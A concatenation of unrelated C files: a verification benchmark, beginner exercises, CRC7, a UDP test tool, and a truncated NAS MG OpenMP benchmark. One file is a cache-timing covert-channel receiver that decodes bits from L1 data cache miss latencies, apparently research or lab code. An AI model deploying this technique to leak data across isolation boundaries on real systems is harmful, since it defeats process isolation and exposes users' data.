* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_REMOVEONLY=1<<7,
/**
* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_INACTIVE=1<<8,
/**
* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_SYNC=1<<9,
/**
* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_SORT=1<<10,
/**
* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_NORECURSIVE=1<<11,
/** Ignore case.
*
* do not use without KDB_O_NOALL
*
* TODO: remove for 1.0
*
* @see ksLookup()
* */
KDB_O_NOCASE=1<<12,
/** Search with owner.
*
* The owner concept is deprecated, do not use.
*
* TODO: remove for 1.0
*
* @see ksLookup()
* */
KDB_O_WITHOWNER=1<<13,
/** Linear search from start -> cursor to cursor -> end.
*
* TODO: remove for 1.0
*
* @see ksLookup()
* */
KDB_O_NOALL=1<<14
};
|
the_stack_data/89199451.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define N 100
int main( ) {
int a1[N];
int a2[N];
int a3[N];
int a4[N];
int a5[N];
int a6[N];
int a7[N];
int a8[N];
int i;
for ( i = 0 ; i < N ; i++ ) {
a2[i] = a1[i];
}
for ( i = 0 ; i < N ; i++ ) {
a3[i] = a2[i];
}
for ( i = 0 ; i < N ; i++ ) {
a4[i] = a3[i];
}
for ( i = 0 ; i < N ; i++ ) {
a5[i] = a4[i];
}
for ( i = 0 ; i < N ; i++ ) {
a6[i] = a5[i];
}
for ( i = 0 ; i < N ; i++ ) {
a8[i] = a6[i];
}
for ( i = 0 ; i < N ; i++ ) {
a8[i] = a7[i];
}
int x;
for ( x = 0 ; x < N ; x++ ) {
__VERIFIER_assert( a1[x] == a8[x] );
}
return 0;
}
|
the_stack_data/117328865.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <assert.h>
#include <inttypes.h>
#define ARRAY_LENGTH (4096+8)
#define ARRAY_EFFECTIVE_LENGTH 4096
#define SET_NUM (64)
#define LINE_NUM (8)
#define ELMT_PER_LINE (8)
#define dprintf(fmt, arg...) printf( fmt, ## arg )
#define dfprintf(file, fmt, arg...) fprintf( file, fmt, ## arg)
float miss_hit_ratio_manual = 2.2;
static inline long get_elapsed_usec(struct timeval before, struct timeval after)
{
//dprintf("get_elapsed_usec: after.tv_sec = %ld, after.tv_usec = %ld; before.tv_sec=%ld, before.tv_usec=%ld\n", after.tv_sec, after.tv_usec, before.tv_sec, before.tv_usec);
return ( (after.tv_sec - before.tv_sec) * 1000000 ) + ( after.tv_usec - before.tv_usec );
}
static inline int get_array_index(int set, int line)
{
return set * ELMT_PER_LINE + line * SET_NUM * ELMT_PER_LINE;
}
void main()
{
unsigned long* array = NULL;
int set = 0, line = 0, k = 0;
int start = 0, end = 0;
struct timeval before, after;
int bad = 0, try = 0, i = 0, tmp = 0;
int bit = 0;
float miss_time_all, miss_time, hit_time_all, hit_time, miss_hit_ratio, miss_hit_diff;
uint32_t buffer = 0;
/* Test: unsigned long must be 64bit*/
if( sizeof(unsigned long) != 8)
{
dfprintf(stderr, "Error: unsigned long must be 8 Byte for the program to work\n");
exit(1);
}
/* init array and load L1 data cache*/
do
{
array = malloc(sizeof(unsigned long) * ARRAY_LENGTH);
}while( array == NULL && try++ <= 10);
if( array == NULL)
{
dfprintf(stderr, "Error: cannot allocate array size:%d\n", ARRAY_LENGTH);
exit(2);
}
/* Allign the start of the array to be the start of a cache line*/
if( ( (unsigned long)array & 0x038UL ) != 0) /*Start of array is not start of a cache line*/
{
start = (0x08 - (( (unsigned long)array & 0x038UL ) >> 0x3));
}else{
start = 0;
}
dprintf("Allign the array with the cache line: start element's index is:%d\n", start);
/* Initialize the array, load all L1 data cache, first round is cache miss, second round is cache hit, get ratio of cache miss/cach hit*/
for(i = 0; i < 2; i++)
{
for(set = 0; set < SET_NUM; set+=2)
{
bad = gettimeofday(&before, NULL);
assert( !bad );
for( line = 0; line < LINE_NUM; line++)
{
for( k = get_array_index(set, line);
k < get_array_index(set, line) + ELMT_PER_LINE; k++)
{
if(i == 0)
array[k] = 0xFFFFFFFFFFFFFFFF;
else
tmp = array[k];
}
}
bad = gettimeofday(&after, NULL);
assert( !bad );
if( i == 0 )
miss_time_all += get_elapsed_usec(before, after);
else
hit_time_all += get_elapsed_usec(before, after);
}
if( i == 0 )
{
miss_time = miss_time_all / (SET_NUM / 2);
}
else
{
hit_time = hit_time_all / (SET_NUM / 2);
}
}
dprintf("Initialize the L1D array: Each set(miss) takes:%.2fus; All array(miss) takes %.2fus in total\n", miss_time, miss_time_all);
dprintf("Reload the L1D array: Each set(hit) takes:%.2fus; All array(hit) takes %.2f in total\n", hit_time, hit_time_all);
miss_hit_ratio = miss_time * 1.0 / hit_time;
miss_hit_diff = miss_time - hit_time;
dprintf("Ratio of miss to hit per line is %.2f\n", miss_hit_ratio);
sleep(2);
/* Start the covert channel*/
dprintf("Start receiving the data\n");
buffer = 0;
for(set = 0; set < SET_NUM; set += 2) /* Avoid prefetch effect*/
{
bit = 0;
bad = gettimeofday(&before, NULL);
assert( !bad );
for( line = 0; line < LINE_NUM; line++)
{
for( k = get_array_index(set, line);
k < get_array_index(set, line) + ELMT_PER_LINE; k++)
{
tmp = array[k];
}
}
bad = gettimeofday(&after, NULL);
assert( !bad );
//if(get_elapsed_usec(before, after) / hit_time >= (miss_hit_ratio*3.0/5)) /*miss means the bit is 1*/
if(get_elapsed_usec(before, after) - hit_time >= (miss_hit_diff * 0.5) )
{
bit = 1;
}
dprintf("set %d (bit %d): latency is %ld, miss_hit_diff is %.2f, bit received is: %d\n", set, set/2, get_elapsed_usec(before, after), get_elapsed_usec(before, after) - hit_time, bit);
buffer |= (bit << set);
//printf("Reload time is %ld, hit_time is %.2f, miss_hit_ratio is %.2f\n", get_elapsed_usec(before, after), hit_time, get_elapsed_usec(before, after) / hit_time);
/* if( set%8 == 0 )
printf(" ");
printf("%d", bit);
*/
}
/* printf("\n"); */
printf("Receive 32bit: %#010x\n", buffer);
free(array);
}
|
the_stack_data/323814.c | #include <stdio.h>
#include <stdlib.h>
//int retorna enteros float retorna reales void no retorna char retorna caracteres.
void saludar(void);
int dameNumero(void);
float sacarPromedio(int suma,int cantidad);
void esPrimo (int numero);
int main()
{
int edad;
float altura;
altura=82.5;
edad=66;
saludar();
printf("Ingrese su edad: ");
scanf(" %d",&edad);
printf("Ingrese su altura: ");
scanf(" %f",&altura);
printf(" Su edad es: %d",edad);
printf(" Su altura es: %f",altura);
int contador;
int numero;
int suma;
float promedio;
int limite;
contador=0;
suma=0;
limite= dameNumero();
promedio=0;
while(contador < limite)
{
printf("Ingrese un numero: ");
scanf("%d",&numero);
suma=suma+numero;
contador ++;
//promedio= (float)suma/contador;
promedio=sacarPromedio(suma,contador);
}
printf("El promedio es: %f",promedio);
return 0;
}
void saludar (void)
{
printf("hola mundo C\n");
}
int dameNumero(void)
{
int cantidad;
printf("Ingrese la cantidad de interacciones: ");
scanf(" %d",&cantidad);
return cantidad;
}
float sacarPromedio(int suma,int cantidad)
{
float promedio;
promedio= (float)suma/cantidad;
return promedio;
}
|
the_stack_data/931463.c | /* Copyright (C) 2015-2016 by John Cronin
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
/* Simple CRC7 routines for interfacing with SD card.
*
* Usage:
* char crc = 0;
* crc = crc7(crc, b0);
* crc = crc7(crc, b1);
* ...
* crc = crc7(crc, bn);
* crc = crc7end(crc);
*/
static char shift_bit(char cur_val, char next_val)
{
/* MSB is shifted out and examined. Next bit is added.
* If bit shifted out was 1, XOR val with 0x09
*/
char old_val = cur_val;
cur_val <<= 1;
cur_val |= next_val;
if(old_val & 0x40)
cur_val ^= 0x09;
return cur_val;
}
char crc7(char cur_val, char next_val)
{
int i;
/* Bits are shifted in MSB first */
for(i = 7; i >= 0; i--)
cur_val = shift_bit(cur_val, (next_val >> i) & 0x1);
return cur_val & 0x7f;
}
char crc7end(char cur_val)
{
int i;
/* Terminated by shifting in seven zeros */
for(i = 0; i < 7; i++)
cur_val = shift_bit(cur_val, 0);
return cur_val & 0x7f;
}
/*void main()
{
char crc1 = 0;
crc1 = crc7(crc1, 0x12);
crc1 = crc7(crc1, 0x34);
crc1 = crc7(crc1, 0x56);
crc1 = crc7(crc1, 0x78);
crc1 = crc7(crc1, 0x9a);
crc1 = crc7end(crc1);
printf("%x\n\n", crc1);
} */
|
the_stack_data/605487.c | #include <stdio.h>
#define SIZE 8
int interpolation_search(int *, int);
int main(){
int array[SIZE]={13,21,34,55,69,73,84,101};
int index=interpolation_search(array,84);
printf("%d\n",index);
return 0;
}
int interpolation_search(int *array, int number){
int left=0;
int right=SIZE-1;
while(number >= array[left] && number <= array[right] && left <= right){
int index;
//interpolation to find the index
index=left+(number-array[left])/(array[right]-array[left])*(right-left);
//when left meet right
if(left==right){
if(array[left]==number) return left;
else return -1;
}
//if the number appear at the index
if(number==array[index]) return index;
//if the number is greater than array[index]
else if(number > array[index]) left=index+1;
//if the number is smaller than array[index]
else right=index-1;
}
//the element isn't in the array
return -1;
} |
the_stack_data/237642665.c | /* this program is used to test UDP networking in Android.
* used to debug the emulator's networking implementation
*/
#define PROGNAME "test_udp"
#define DEFAULT_PORT 7000
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <string.h>
#define BUFLEN 512
#define NPACK 10
void diep(char *s)
{
perror(s);
exit(1);
}
static void
usage(int code)
{
printf("usage: %s [options]\n", PROGNAME);
printf("options:\n");
printf(" -p<port> use specific port (default %d)\n", DEFAULT_PORT);
printf(" -a<inet> use specific IP address\n");
printf(" -s run server (default is client)\n");
exit(code);
}
int main(int argc, char** argv)
{
int runServer = 0;
int udpPort = DEFAULT_PORT;
int useLocal = 0;
int address = htonl(INADDR_ANY);
struct sockaddr_in si_me, si_other;
int s, i, slen=sizeof(si_other);
char buf[BUFLEN];
while (argc > 1 && argv[1][0] == '-') {
const char* optName = argv[1]+1;
argc--;
argv++;
switch (optName[0]) {
case 'p':
udpPort = atoi(optName+1);
if (udpPort < 1024 || udpPort > 65535) {
fprintf(stderr, "UDP port must be between 1024 and 65535\n");
exit(1);
}
break;
case 's':
runServer = 1;
break;
case 'a':
if (inet_aton(optName+1, &si_other.sin_addr) == 0)
diep("inet_aton");
address = si_other.sin_addr.s_addr;
break;
default:
usage(1);
}
}
if (runServer) {
if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
diep("socket");
memset((char *) &si_me, 0, sizeof(si_me));
si_me.sin_family = AF_INET;
si_me.sin_port = htons(udpPort);
si_me.sin_addr.s_addr = address;
if (bind(s, (struct sockaddr*)&si_me, sizeof(si_me))==-1)
diep("bind");
printf("UDP server listening on %s:%d\n", inet_ntoa(si_me.sin_addr), udpPort);
for (i=0; i<NPACK; i++) {
if (recvfrom(s, buf, BUFLEN, 0, (struct sockaddr*)&si_other, (socklen_t*)&slen)==-1)
diep("recvfrom()");
printf("Received packet from %s:%d\nData: %s\n\n",
inet_ntoa(si_other.sin_addr), ntohs(si_other.sin_port), buf);
}
printf("UDP server closing\n");
close(s);
}
else /* !runServer */
{
if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
diep("socket");
memset((char *) &si_other, 0, sizeof(si_other));
si_other.sin_family = AF_INET;
si_other.sin_port = htons(udpPort);
si_other.sin_addr.s_addr = address;
printf("UDP client sending packets to %s:%d\n", inet_ntoa(si_other.sin_addr), udpPort);
for (i=0; i<NPACK; i++) {
printf("Sending packet %d\n", i);
sprintf(buf, "This is packet %d\n", i);
if (sendto(s, buf, BUFLEN, 0, (struct sockaddr*)&si_other, slen)==-1)
diep("sendto()");
}
close(s);
printf("UDP client closing\n");
}
return 0;
}
|
the_stack_data/1017672.c | /*
* Liao 5/17/2013
* Separated the top level parallel region into smaller regions so we can control how many threads to be used at each level
* */
/*--------------------------------------------------------------------
NAS Parallel Benchmarks 2.3 OpenMP C versions - MG
This benchmark is an OpenMP C version of the NPB MG code.
The OpenMP C versions are developed by RWCP and derived from the serial
Fortran versions in "NPB 2.3-serial" developed by NAS.
Permission to use, copy, distribute and modify this software for any
purpose with or without fee is hereby granted.
This software is provided "as is" without express or implied warranty.
Send comments on the OpenMP C versions to [email protected]
Information on OpenMP activities at RWCP is available at:
http://pdplab.trc.rwcp.or.jp/pdperf/Omni/
Information on NAS Parallel Benchmarks 2.3 is available at:
http://www.nas.nasa.gov/NAS/NPB/
--------------------------------------------------------------------*/
/*--------------------------------------------------------------------
Authors: E. Barszcz
P. Frederickson
A. Woo
M. Yarrow
OpenMP C version: S. Satoh
--------------------------------------------------------------------*/
/*
* #include "npb-C.h"
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#if defined(_OPENMP)
#include <omp.h>
#endif /* _OPENMP */
#include <sys/time.h>
typedef int boolean;
typedef struct { double real; double imag; } dcomplex;
#define TRUE 1
#define FALSE 0
#define max(a,b) (((a) > (b)) ? (a) : (b))
#define min(a,b) (((a) < (b)) ? (a) : (b))
#define pow2(a) ((a)*(a))
#define get_real(c) c.real
#define get_imag(c) c.imag
#define cadd(c,a,b) (c.real = a.real + b.real, c.imag = a.imag + b.imag)
#define csub(c,a,b) (c.real = a.real - b.real, c.imag = a.imag - b.imag)
#define cmul(c,a,b) (c.real = a.real * b.real - a.imag * b.imag, \
c.imag = a.real * b.imag + a.imag * b.real)
#define crmul(c,a,b) (c.real = a.real * b, c.imag = a.imag * b)
extern double randlc(double *, double);
extern void vranlc(int, double *, double, double *);
extern void timer_clear(int);
extern void timer_start(int);
extern void timer_stop(int);
extern double timer_read(int);
extern void c_print_results(char *name, char cclass, int n1, int n2,
int n3, int niter, int nthreads, double t,
double mops, char *optype, int passed_verification,
char *npbversion, char *compiletime, char *cc,
char *clink, char *c_lib, char *c_inc,
char *cflags, char *clinkflags, char *rand);
/*
#include "globals.h"
#include "npbparams.h"
*/
#define MAX_NUM_THREADS 16
#define CLASS 'B'
/******************/
/* default values */
/******************/
#ifndef CLASS
#define CLASS 'S'
#endif
#if CLASS == 'S'
/* CLASS = S */
/*
c This file is generated automatically by the setparams utility.
c It sets the number of processors and the classc of the NPB
c in this directory. Do not modify it by hand.
*/
#define NX_DEFAULT 32
#define NY_DEFAULT 32
#define NZ_DEFAULT 32
#define NIT_DEFAULT 4
#define LM 5
#define LT_DEFAULT 5
#define DEBUG_DEFAULT 0
#define NDIM1 5
#define NDIM2 5
#define NDIM3 5
#define CONVERTDOUBLE FALSE
#define COMPILETIME "13 Mar 2013"
#define NPBVERSION "2.3"
#define CS1 "gcc"
#define CS2 "$(CC)"
#define CS3 "(none)"
#define CS4 "-I../common"
#define CS5 "-fopenmp -O3"
#define CS6 "-lm -fopenmp"
#define CS7 "randdp"
#endif
#if CLASS == 'W'
/* CLASS = W */
/*
c This file is generated automatically by the setparams utility.
c It sets the number of processors and the classc of the NPB
c in this directory. Do not modify it by hand.
*/
#define NX_DEFAULT 64
#define NY_DEFAULT 64
#define NZ_DEFAULT 64
#define NIT_DEFAULT 40
#define LM 6
#define LT_DEFAULT 6
#define DEBUG_DEFAULT 0
#define NDIM1 6
#define NDIM2 6
#define NDIM3 6
#define CONVERTDOUBLE FALSE
#define COMPILETIME "13 Mar 2013"
#define NPBVERSION "2.3"
#define CS1 "gcc"
#define CS2 "$(CC)"
#define CS3 "(none)"
#define CS4 "-I../common"
#define CS5 "-fopenmp -O3"
#define CS6 "-lm -fopenmp"
#define CS7 "randdp"
#endif
#if CLASS == 'A'
/* CLASS = A */
/*
c This file is generated automatically by the setparams utility.
c It sets the number of processors and the classc of the NPB
c in this directory. Do not modify it by hand.
*/
#define NX_DEFAULT 256
#define NY_DEFAULT 256
#define NZ_DEFAULT 256
#define NIT_DEFAULT 4
#define LM 8
#define LT_DEFAULT 8
#define DEBUG_DEFAULT 0
#define NDIM1 8
#define NDIM2 8
#define NDIM3 8
#define CONVERTDOUBLE FALSE
#define COMPILETIME "07 Mar 2013"
#define NPBVERSION "2.3"
#define CS1 "identityTranslator "
#define CS2 "$(CC)"
#define CS3 "/export/tmp.liao6/workspace/thrifty/build64..."
#define CS4 "-I../common"
#define CS5 "-rose:openmp:lowering "
#define CS6 "-lm"
#define CS7 "randdp"
#endif
#if CLASS == 'B'
/* CLASS = B */
/*
c This file is generated automatically by the setparams utility.
c It sets the number of processors and the classc of the NPB
c in this directory. Do not modify it by hand.
*/
#define NX_DEFAULT 256
#define NY_DEFAULT 256
#define NZ_DEFAULT 256
#define NIT_DEFAULT 20
#define LM 8
#define LT_DEFAULT 8
#define DEBUG_DEFAULT 0
#define NDIM1 8
#define NDIM2 8
#define NDIM3 8
#define CONVERTDOUBLE FALSE
#define COMPILETIME "03 May 2013"
#define NPBVERSION "2.3"
#define CS1 "gcc"
#define CS2 "$(CC)"
#define CS3 "(none)"
#define CS4 "-I../common"
#define CS5 "-fopenmp -O3"
#define CS6 "-lm -fopenmp"
#define CS7 "randdp"
#endif
/* parameters */
/* actual dimension including ghost cells for communications */
#define NM (2+(2<<(LM-1)))
/* size of rhs array */
#define NV (2+(2<<(NDIM1-1))*(2+(2<<(NDIM2-1)))*(2+(2<<(NDIM3-1))))
/* size of residual array */
#define NR ((8*(NV+(NM*NM)+5*NM+7*LM))/7)
/* size of communication buffer */
#define NM2 (2*NM*NM)
/* maximum number of levels */
#define MAXLEVEL 11
/*---------------------------------------------------------------------*/
/* common /mg3/ */
static int nx[MAXLEVEL+1], ny[MAXLEVEL+1], nz[MAXLEVEL+1];
/* common /ClassType/ */
static char Class;
/* common /my_debug/ */
static int debug_vec[8];
/* common /fap/ */
/*static int ir[MAXLEVEL], m1[MAXLEVEL], m2[MAXLEVEL], m3[MAXLEVEL];*/
static int m1[MAXLEVEL+1], m2[MAXLEVEL+1], m3[MAXLEVEL+1];
static int lt, lb;
/*c---------------------------------------------------------------------
c Set at m=1024, can handle cases up to 1024^3 case
c---------------------------------------------------------------------*/
#define M 1037
/* common /buffer/ */
/*static double buff[4][NM2];*/
/* parameters */
#define T_BENCH 1
#define T_INIT 2
/* global variables */
/* common /grid/ */
static int is1, is2, is3, ie1, ie2, ie3;
/* functions prototypes */
static void setup(int *n1, int *n2, int *n3, int lt);
static void mg3P_adapt(double ****u, double ***v, double ****r, double a[4],
double c[4], int n1, int n2, int n3, int k);
static void mg3P(double ****u, double ***v, double ****r, double a[4],
double c[4], int n1, int n2, int n3, int k);
static void psinv_adapt( double ***r, double ***u, int n1, int n2, int n3,
double c[4], int k);
static void psinv( double ***r, double ***u, int n1, int n2, int n3,
double c[4], int k);
static void resid_adapt( double ***u, double ***v, double ***r,
int n1, int n2, int n3, double a[4], int k );
static void resid( double ***u, double ***v, double ***r,
int n1, int n2, int n3, double a[4], int k );
static void rprj3( double ***r, int m1k, int m2k, int m3k,
double ***s, int m1j, int m2j, int m3j, int k );
static void rprj3_adapt( double ***r, int m1k, int m2k, int m3k,
double ***s, int m1j, int m2j, int m3j, int k );
static void interp_adapt( double ***z, int mm1, int mm2, int mm3,
double ***u, int n1, int n2, int n3, int k );
static void interp( double ***z, int mm1, int mm2, int mm3,
double ***u, int n1, int n2, int n3, int k );
static void norm2u3_adapt(double ***r, int n1, int n2, int n3,
double *rnm2, double *rnmu, int nx, int ny, int nz);
static void norm2u3(double ***r, int n1, int n2, int n3,
double *rnm2, double *rnmu, int nx, int ny, int nz);
static void rep_nrm(double ***u, int n1, int n2, int n3,
char *title, int kk);
static void comm3(double ***u, int n1, int n2, int n3, int kk);
static void zran3(double ***z, int n1, int n2, int n3, int nx, int ny, int k);
static void showall(double ***z, int n1, int n2, int n3);
static double power( double a, int n );
static void bubble( double ten[M][2], int j1[M][2], int j2[M][2],
int j3[M][2], int m, int ind );
static void zero3(double ***z, int n1, int n2, int n3);
static void zero3_adapt(double ***z, int n1, int n2, int n3);
static void nonzero(double ***z, int n1, int n2, int n3);
/*--------------------------------------------------------------------
program mg
c-------------------------------------------------------------------*/
int main(int argc, char *argv[]) {
/*-------------------------------------------------------------------------
c k is the current level. It is passed down through subroutine args
c and is NOT global. it is the current iteration
c------------------------------------------------------------------------*/
int k, it;
double t, tinit, mflops;
int nthreads = 1;
/*-------------------------------------------------------------------------
c These arrays are in common because they are quite large
c and probably shouldn't be allocated on the stack. They
c are always passed as subroutine args.
c------------------------------------------------------------------------*/
double ****u, ***v, ****r; /* Dynamically allocated arrays, not linear storage across dimensions */
double a[4], c[4];
double rnm2, rnmu;
double epsilon = 1.0e-8;
int n1, n2, n3, nit;
double verify_value;
boolean verified;
int i, j, l;
FILE *fp;
timer_clear(T_BENCH);
timer_clear(T_INIT);
timer_start(T_INIT);
/*----------------------------------------------------------------------
c Read in and broadcast input data
c---------------------------------------------------------------------*/
printf("\n\n NAS Parallel Benchmarks 2.3 OpenMP C version"
" - MG Benchmark\n\n");
fp = fopen("mg.input", "r");
if (fp != NULL) {
printf(" Reading from input file mg.input\n");
fscanf(fp, "%d", <);
while(fgetc(fp) != '\n');
fscanf(fp, "%d%d%d", &nx[lt], &ny[lt], &nz[lt]);
while(fgetc(fp) != '\n');
fscanf(fp, "%d", &nit);
while(fgetc(fp) != '\n');
for (i = 0; i <= 7; i++) {
fscanf(fp, "%d", &debug_vec[i]);
}
fclose(fp);
} else {
printf(" No input file. Using compiled defaults\n");
lt = LT_DEFAULT;
nit = NIT_DEFAULT;
nx[lt] = NX_DEFAULT;
ny[lt] = NY_DEFAULT;
nz[lt] = NZ_DEFAULT;
for (i = 0; i <= 7; i++) {
debug_vec[i] = DEBUG_DEFAULT;
}
}
if ( (nx[lt] != ny[lt]) || (nx[lt] != nz[lt]) ) {
Class = 'U';
} else if( nx[lt] == 32 && nit == 4 ) {
Class = 'S';
} else if( nx[lt] == 64 && nit == 40 ) {
Class = 'W';
} else if( nx[lt] == 256 && nit == 20 ) {
Class = 'B';
} else if( nx[lt] == 512 && nit == 20 ) {
Class = 'C';
} else if( nx[lt] == 256 && nit == 4 ) {
Class = 'A';
} else {
Class = 'U';
}
/*--------------------------------------------------------------------
c Use these for debug info:
c---------------------------------------------------------------------
c debug_vec(0) = 1 !=> report all norms
c debug_vec(1) = 1 !=> some setup information
c debug_vec(1) = 2 !=> more setup information
c debug_vec(2) = k => at level k or below, show result of resid
c debug_vec(3) = k => at level k or below, show result of psinv
c debug_vec(4) = k => at level k or below, show result of rprj
c debug_vec(5) = k => at level k or below, show result of interp
c debug_vec(6) = 1 => (unused)
c debug_vec(7) = 1 => (unused)
c-------------------------------------------------------------------*/
a[0] = -8.0/3.0;
a[1] = 0.0;
a[2] = 1.0/6.0;
a[3] = 1.0/12.0;
if (Class == 'A' || Class == 'S' || Class =='W') {
/*--------------------------------------------------------------------
c Coefficients for the S(a) smoother
c-------------------------------------------------------------------*/
c[0] = -3.0/8.0;
c[1] = 1.0/32.0;
c[2] = -1.0/64.0;
c[3] = 0.0;
} else {
/*--------------------------------------------------------------------
c Coefficients for the S(b) smoother
c-------------------------------------------------------------------*/
c[0] = -3.0/17.0;
c[1] = 1.0/33.0;
c[2] = -1.0/61.0;
c[3] = 0.0;
}
lb = 1;
setup(&n1,&n2,&n3,lt);
u = (double ****)malloc((lt+1)*sizeof(double ***));
for (l = lt; l >=1; l--) {
u[l] = (double ***)malloc(m3[l]*sizeof(double **));
for (k = 0; k < m3[l]; k++) {
u[l][k] = (double **)malloc(m2[l]*sizeof(double *));
for (j = 0; j < m2[l]; j++) {
u[l][k][j] = (double *)malloc(m1[l]*sizeof(double));
}
}
}
v = (double ***)malloc(m3[lt]*sizeof(double **));
for (k = 0; k < m3[lt]; k++) {
v[k] = (double **)malloc(m2[lt]*sizeof(double *));
for (j = 0; j < m2[lt]; j++) {
v[k][j] = (double *)malloc(m1[lt]*sizeof(double));
}
}
r = (double ****)malloc((lt+1)*sizeof(double ***));
for (l = lt; l >=1; l--) {
r[l] = (double ***)malloc(m3[l]*sizeof(double **));
for (k = 0; k < m3[l]; k++) {
r[l][k] = (double **)malloc(m2[l]*sizeof(double *));
for (j = 0; j < m2[l]; j++) {
r[l][k][j] = (double *)malloc(m1[l]*sizeof(double));
}
}
}
omp_set_num_threads(MAX_NUM_THREADS);
#pragma omp parallel
{
zero3(u[lt],n1,n2,n3);
}
zran3(v,n1,n2,n3,nx[lt],ny[lt],lt);
#pragma omp parallel
{
norm2u3(v,n1,n2,n3,&rnm2,&rnmu,nx[lt],ny[lt],nz[lt]);
#pragma omp single
{
/* printf("\n norms of random v are\n");
printf(" %4d%19.12e%19.12e\n", 0, rnm2, rnmu);
printf(" about to evaluate resid, k= %d\n", lt);*/
printf(" Size: %3dx%3dx%3d (class %1c)\n",
nx[lt], ny[lt], nz[lt], Class);
printf(" Iterations: %3d\n", nit);
}
resid(u[lt],v,r[lt],n1,n2,n3,a,lt);
norm2u3(r[lt],n1,n2,n3,&rnm2,&rnmu,nx[lt],ny[lt],nz[lt]);
/*c---------------------------------------------------------------------
c One iteration for startup
c---------------------------------------------------------------------*/
mg3P(u,v,r,a,c,n1,n2,n3,lt);
resid(u[lt],v,r[lt],n1,n2,n3,a,lt);
#pragma omp single
setup(&n1,&n2,&n3,lt);
zero3(u[lt],n1,n2,n3);
} /* pragma omp parallel */
zran3(v,n1,n2,n3,nx[lt],ny[lt],lt);
timer_stop(T_INIT);
timer_start(T_BENCH);
/*c---------------------------------------------------------------------
c real iterations
c---------------------------------------------------------------------*/
//#pragma omp parallel firstprivate(nit) private(it)
// move up of top parallel region
{
resid_adapt(u[lt],v,r[lt],n1,n2,n3,a,lt);
norm2u3_adapt(r[lt],n1,n2,n3,&rnm2,&rnmu,nx[lt],ny[lt],nz[lt]);
for ( it = 1; it <= nit; it++) {
mg3P_adapt(u,v,r,a,c,n1,n2,n3,lt);
resid_adapt(u[lt],v,r[lt],n1,n2,n3,a,lt);
}
}
norm2u3_adapt(r[lt],n1,n2,n3,&rnm2,&rnmu,nx[lt],ny[lt],nz[lt]);
#pragma omp parallel
{
#if defined(_OPENMP)
#pragma omp master
nthreads = omp_get_num_threads();
#endif
} /* pragma omp parallel */
timer_stop(T_BENCH);
t = timer_read(T_BENCH);
tinit = timer_read(T_INIT);
verified = FALSE;
verify_value = 0.0;
printf(" Initialization time: %15.3f seconds\n", tinit);
printf(" Benchmark completed\n");
if (Class != 'U') {
if (Class == 'S') {
verify_value = 0.530770700573e-04;
} else if (Class == 'W') {
verify_value = 0.250391406439e-17; /* 40 iterations*/
/* 0.183103168997d-044 iterations*/
} else if (Class == 'A') {
verify_value = 0.2433365309e-5;
} else if (Class == 'B') {
verify_value = 0.180056440132e-5;
} else if (Class == 'C') {
verify_value = 0.570674826298e-06;
}
if ( fabs( rnm2 - verify_value ) <= epsilon ) {
verified = TRUE;
printf(" VERIFICATION SUCCESSFUL\n");
printf(" L2 Norm is %20.12e\n", rnm2);
printf(" Error is %20.12e\n", rnm2 - verify_value);
} else {
verified = FALSE;
printf(" VERIFICATION FAILED\n");
printf(" L2 Norm is %20.12e\n", rnm2);
printf(" The correct L2 Norm is %20.12e\n", verify_value);
}
} else {
verified = FALSE;
printf(" Problem size unknown\n");
printf(" NO VERIFICATION PERFORMED\n");
}
if ( t != 0.0 ) {
int nn = nx[lt]*ny[lt]*nz[lt];
mflops = 58.*nit*nn*1.0e-6 / t;
} else {
mflops = 0.0;
}
c_print_results("MG", Class, nx[lt], ny[lt], nz[lt],
nit, nthreads, t, mflops, " floating point",
verified, NPBVERSION, COMPILETIME,
CS1, CS2, CS3, CS4, CS5, CS6, CS7);
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void setup(int *n1, int *n2, int *n3, int lt) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
int k;
for ( k = lt-1; k >= 1; k--) {
nx[k] = nx[k+1]/2;
ny[k] = ny[k+1]/2;
nz[k] = nz[k+1]/2;
}
for (k = 1; k <= lt; k++) {
m1[k] = nx[k]+2;
m2[k] = nz[k]+2;
m3[k] = ny[k]+2;
}
is1 = 1;
ie1 = nx[lt];
*n1 = nx[lt]+2;
is2 = 1;
ie2 = ny[lt];
*n2 = ny[lt]+2;
is3 = 1;
ie3 = nz[lt];
*n3 = nz[lt]+2;
if (debug_vec[1] >= 1 ) {
printf(" in setup, \n");
printf(" lt nx ny nz n1 n2 n3 is1 is2 is3 ie1 ie2 ie3\n");
printf("%4d%4d%4d%4d%4d%4d%4d%4d%4d%4d%4d%4d%4d\n",
lt,nx[lt],ny[lt],nz[lt],*n1,*n2,*n3,is1,is2,is3,ie1,ie2,ie3);
}
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
